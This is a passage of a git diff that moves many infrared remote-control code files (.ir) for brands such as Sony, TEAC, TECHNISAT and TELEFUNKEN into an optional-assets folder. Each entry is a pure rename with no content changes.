b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/VCR/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/VCR/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/VCR/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/180,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/180,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/VCR/180,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/180,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/185,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/185,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/VCR/185,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/185,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/186,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/186,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/VCR/186,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/186,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/VCR/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/25,37.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/25,37.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/VCR/25,37.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/25,37.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/25,69.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/25,69.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/VCR/25,69.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/25,69.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/VCR/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/VCR/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/9,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/9,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/VCR/9,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/VCR/9,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Video Projector/26,42.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Video Projector/26,42.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Video Projector/26,42.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Video Projector/26,42.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Video Projector/84,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Video Projector/84,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Video Projector/84,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Video Projector/84,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Symphonic/TV/41,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Symphonic/TV/41,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Symphonic/TV/41,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Symphonic/TV/41,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Symphonic/VCR/40,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Symphonic/VCR/40,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Symphonic/VCR/40,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Symphonic/VCR/40,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Symphonic/VCR/44,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Symphonic/VCR/44,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Symphonic/VCR/44,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Symphonic/VCR/44,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir 